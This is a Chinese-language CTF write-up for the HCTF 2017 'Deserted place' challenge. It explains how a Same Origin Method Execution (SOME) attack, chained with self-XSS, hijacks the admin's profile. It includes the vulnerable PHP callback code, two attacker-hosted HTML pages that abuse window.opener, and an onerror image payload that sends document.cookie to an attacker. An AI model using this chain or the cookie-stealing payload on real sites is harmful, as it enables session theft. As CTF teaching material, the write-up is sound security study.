這種攻擊方式在大型站點越發的常見,SOME的作者舉例子就用了wordpress的一個漏洞,通過接口可以在wordpress中安裝想要的插件,導致getshell等更嚴重的漏洞。

Deserted place Writeup

回到題目。

打開題目主要功能有限:

  1. 登陸
  2. 注冊
  3. 修改個人信息(修改個人信息后按回車更新自己的信息)、
  4. 獲取隨機一個人的信息,并把它的信息更新給我自己

簡單測試可以發現,個人信息頁面存在self-xss,但問題就在于怎么能更新admin的個人信息。

仔細回顧站內的各種信息,我們能發現所有的更新個人信息都是通過開啟子窗口來實現的。

edit.php里面有一個類似于jsonp的接口可以執行任意函數,簡單測試可以發現這里正則匹配了.\w+,這意味這我們只能執行已有的js函數,我們可以看看后臺的代碼。

$callback = $_GET['callback'];  
preg_match("/\w+/i", $callback, $matches);

...

echo "<script>";
echo $matches[0]."();";
echo "</script>";

已有的函數一共有3個

function UpdateProfile(){
    var username = document.getElementById('user').value;
    var email = document.getElementById('email').value;
    var message = document.getElementById('mess').value;

    window.opener.document.getElementById("email").innerHTML="Email: "+email;
    window.opener.document.getElementById("mess").innerHTML="Message: "+message;

    console.log("Update user profile success...");
    window.close();
}

function EditProfile(){
    document.onkeydown=function(event){
        if (event.keyCode == 13){
            UpdateProfile();
        }
    }
}

function RandomProfile(){
    setTimeout('UpdateProfile()', 1000);
}

如果執行UpdateProfile,站內就會把子窗口的內容發送到父窗口中。但是我們還是沒辦法控制修改的內容。

回顧站內邏輯,當我們點擊click me,首先請求/edit.php?callback=RandomProfile,然后跳轉至任意http://hctf.com/edit.php?callback=RandomProfile&user=xiaoming,然后頁面關閉并,更新信息到當前用戶上,假設這里user是我們設定的還有惡意代碼的user,那我們就可以修改admin的信息了,但,怎么能讓admin打開這個頁面呢?

我們可以嘗試一個,如果直接打開edit.php?callback=RandomProfile&user=xiaoming

報錯了,不是通過open打開的頁面,尋找不到頁面內的window.opener對象,也就沒辦法做任何事。

這里我們只有通過SOME,才能操作同源下的父窗口,首先我們得熟悉同源策略,同源策略規定,只有同源下的頁面才能相互讀寫,如果通過windows.open打開的頁面是同源的,那么我們就可以通過window.opener對象來操作父子窗口。

而SOME就是基于這種特性,可以執行同源下的任意方法。

最終payload:

vps, 1.html

<script>
    function start_some() {
        window.open("2.html");
        location.replace("http://desert.2017.hctf.io/user.php");
    }

    setTimeout(start_some(), 1000);
</script>

vps, 2.html

<script>
    function attack() {
        location.replace("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=lorexxar");
    }

    setTimeout(attack, 2000);

</script>

在lorexxar賬戶的message里添加payload

<img src="\" onerror=window.location.%2bdocument.cookie>

getflag!


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/452/